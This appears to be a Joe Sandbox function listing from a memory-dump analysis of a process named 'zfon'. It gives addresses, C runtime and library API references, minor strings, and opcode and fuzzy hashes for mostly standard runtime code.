_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F13), ref: 00007FF7F96F98F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F13), ref: 00007FF7F96F990F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F13), ref: 00007FF7F96F991F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F13), ref: 00007FF7F96F992F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F13), ref: 00007FF7F96F993C

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 2fb25108f35d941593c22e25bba104b268c97b58bb64699d526f95c43bc25dae
Instruction ID: d8a35e6130d70f885ef3895c806f533e46bdcb730b3d735421713d8996887aec
Opcode Fuzzy Hash: 2fb25108f35d941593c22e25bba104b268c97b58bb64699d526f95c43bc25dae
Instruction Fuzzy Hash: 03F031B0E0820665EB48BF55AD4D328A1F69F047F6F844835C23D01BDCFD5C65C582B1

Function 00007FF7F9711C30 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F9711C43
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F9711C5F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F9711C6F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F9711C7F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F9711C8C

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 16132b1b97e4afbb32a3792d560562ac31cb19e7eff60c65a0afaa5d06987951
Instruction ID: e2ed563ddd300b81c14ae01b85888b5502b3b5fa464d6db4f9b91e02b32454ff
Opcode Fuzzy Hash: 16132b1b97e4afbb32a3792d560562ac31cb19e7eff60c65a0afaa5d06987951
Instruction Fuzzy Hash: AEF0ECA0E09707A5EB6CBF55AC8C338A1769F087F2F904A35C13D06AECDE5C65C582B1

Function 00007FF7F9727C50 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9727A8D), ref: 00007FF7F9727C63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9727A8D), ref: 00007FF7F9727C7F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9727A8D), ref: 00007FF7F9727C8F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9727A8D), ref: 00007FF7F9727C9F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9727A8D), ref: 00007FF7F9727CAC

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 1e1325763c204f614580ca28e882b4561ce590b6f5d7c437e7bbf9f77bbfad6d
Instruction ID: f5be4344f8d43bf3a0278066ef17a319ca5b1e1ee9ab28195ec14777ffc1fadb
Opcode Fuzzy Hash: 1e1325763c204f614580ca28e882b4561ce590b6f5d7c437e7bbf9f77bbfad6d
Instruction Fuzzy Hash: 5FF01DA0E1860664EB48BF64AD4C268A269DF097F2F900A34C13D116ECDD5C35C546B1

Function 00007FF7F96E43F0 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4403
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E441B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E442B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E443B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4448

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 72e217726392643e79e687100b577b01b41de6d779231d9bfbbd7ee5620b34e1
Instruction ID: 2c957904416cbf23e84a89e5758a1b31473990e34879230f892f505bb2377d50
Opcode Fuzzy Hash: 72e217726392643e79e687100b577b01b41de6d779231d9bfbbd7ee5620b34e1
Instruction Fuzzy Hash: F9F044A0F08207A5EB4CBF64AD4C228B176DF447F2F900A35C23D02ADCDD5D25D54276

Function 00007FF7F96EA610 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA623
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA63F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA64F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA65F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA66C

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: fc2c3111614c86b3978751517b6eb494c7d1032bfecd94e764b9329ffff241ad
Instruction ID: ef600839b447c5865f05d943d7509bd0f69b9d3b80274f900f8e5cd528c8697d
Opcode Fuzzy Hash: fc2c3111614c86b3978751517b6eb494c7d1032bfecd94e764b9329ffff241ad
Instruction Fuzzy Hash: 39F04FA0E0820769EB8CBF54BD4C338A2769F097F2F804A34C13D02AECDD5D258586B6

Function 00007FF7F9721590 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97215A3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97215BC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97215CC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97215DC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97215E9

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 3f681eb5713a892da424ea5b97dc0341e4c877ef2987a9e861528f4583824885
Instruction ID: 6ff8cf6f6da102270e7ed7056c887cb6adc56ecf765ddc061d22e3eaa7ec2853
Opcode Fuzzy Hash: 3f681eb5713a892da424ea5b97dc0341e4c877ef2987a9e861528f4583824885
Instruction Fuzzy Hash: 49F03CE0D1934768EBA8BF56BC4C269A171EF0D7F2F800A34C13E019DC9D5C248646B1

Function 00007FF7F97092E0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97092EA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F97092FF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F970930F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F970931F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F970932C

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 7402652a24f6ac2342940f10915b9c3fc5835fbb4437735f00c634805102aa82
Instruction ID: b5650904114b5f20df202889871b522ac059fb77b13aed1df0b034173f853db1
Opcode Fuzzy Hash: 7402652a24f6ac2342940f10915b9c3fc5835fbb4437735f00c634805102aa82
Instruction Fuzzy Hash: CDF0F4A0E08607A8EB8CBF95AC8D238E1629F087F2F804A35C23D029EC9F5C24D545B1

Function 00007FF7F9709270 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970927A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970928F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970929F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F97092AF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F97092BC

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: a292d89722aa7e017496ccada6b4d01e5cbe7845519cfa99e775e957023e2368
Instruction ID: 1fda38239280ca6e0c49543cd9b73ac405fabfc23eb2fdb814b7073e3658e6af
Opcode Fuzzy Hash: a292d89722aa7e017496ccada6b4d01e5cbe7845519cfa99e775e957023e2368
Instruction Fuzzy Hash: 4EF0F4A0E0860765EB8CBF95AC4C268B1629F0D7F2F904A35C23D019EC8E5C249641B1

Function 00007FF7F96E9A50 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 332COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7F96E9B1F
?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7F96E9BDC
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9CB6

Strings

vector<T> too long, xrefs: 00007FF7F96E9B18, 00007FF7F96E9BD5

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xlength_error@std@@$cef_string_map_alloc
String ID: vector<T> too long
API String ID: 1597692744-3788999226
Opcode ID: 1b4c66c2c6d364308aa5f1dc8f150ffe184bf7a47c220a6ef14ea198b7739db5
Instruction ID: 4b5a1369870e7a3f92a2e1e0c552c1ca1bcd0dd547664205a02902215fd10708
Opcode Fuzzy Hash: 1b4c66c2c6d364308aa5f1dc8f150ffe184bf7a47c220a6ef14ea198b7739db5
Instruction Fuzzy Hash: 85D17B62B04B8585EF14EF65C8902ACA3B2EF94B98788C532CF1E177A8DF39D545C394

Function 00007FF8BFB5470C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB5488B

Strings

, xrefs: 00007FF8BFB547DC
csm, xrefs: 00007FF8BFB548C5
csm, xrefs: 00007FF8BFB5475B

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abort
String ID: $csm$csm
API String ID: 4206212132-1512788406
Opcode ID: bbeebd1b8dc6bb018cbb3e2007e3860d9f81b2d26c669440cff39126283f8657
Instruction ID: 73989429bf1ab5b009e9834cbee2e3c25919ce398797fafda79e7c689d736f25
Opcode Fuzzy Hash: bbeebd1b8dc6bb018cbb3e2007e3860d9f81b2d26c669440cff39126283f8657
Instruction Fuzzy Hash: 1471BE32908681CADB698FA9D4B177DBBA0FB41BC8F088135DB8D07A89CB3CE451C740

Function 00007FF8BFB544E4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB545DB
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF8BFB545EB

Strings

csm, xrefs: 00007FF8BFB5463D
csm, xrefs: 00007FF8BFB5452E

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind
String ID: csm$csm
API String ID: 4108983575-3733052814
Opcode ID: 73f04ae2f99dd10f8d311029635b97aaf7a618db7278283a49f5dcc94daca835
Instruction ID: 649264b81e9e86f7715395e935e5787e92d04e273c4496495c120781862dd5d1
Opcode Fuzzy Hash: 73f04ae2f99dd10f8d311029635b97aaf7a618db7278283a49f5dcc94daca835
Instruction Fuzzy Hash: 67518D72908282C6EB688FA9A57536977A0FB54BD8F144136DB8D47B95CF3CF4A1CB00

Function 00007FF8BFAD2600 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFAD3524: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00007FF8BFAD1222), ref: 00007FF8BFAD3564

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF8BFAD26AA
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF8BFAD26D6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD2734

Strings

csm, xrefs: 00007FF8BFAD27D9

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: abort$CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 444109036-1018135373
Opcode ID: 1e96529f35874369624db110d262335690731295dc4eb4a79234829db8fb8cf6
Instruction ID: 24b0a8b521ffcb295438d4cb54921eb551aa70d80cd25e0b804ead7f76c49737
Opcode Fuzzy Hash: 1e96529f35874369624db110d262335690731295dc4eb4a79234829db8fb8cf6
Instruction Fuzzy Hash: 07513B7A61878197E634AB59E44226D77E4FB89BD8F106134EB8D07B95CF3CE461CB00

Function 00007FF8B90E9E40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90ED5CD), ref: 00007FF8B90E9F14
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF8B90ED5CD), ref: 00007FF8B90E9F52
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90ED5CD), ref: 00007FF8B90E9F5C

Strings

ios_base::failbit set, xrefs: 00007FF8B90E9E57

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 2665656946-3924258884
Opcode ID: 372e2b47e2d3b0d854694287b5f130fe644ee4ade947c284ca8dfcb215dcd649
Instruction ID: 77d569f3df32e7e1cf953a4af9b9f11e352ddc2f645d269b08b37ff13017a50a
Opcode Fuzzy Hash: 372e2b47e2d3b0d854694287b5f130fe644ee4ade947c284ca8dfcb215dcd649
Instruction Fuzzy Hash: B631BF22B09BC191EE14DF2E964426C73A6EB05BE0F584631DB7E07BD6EE7CE0528304

Function 00007FF8BFB5B12C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5B186

Strings

%lf, xrefs: 00007FF8BFB5B1C1, 00007FF8BFB5B1F5, 00007FF8BFB5B225

Memory Dump Source

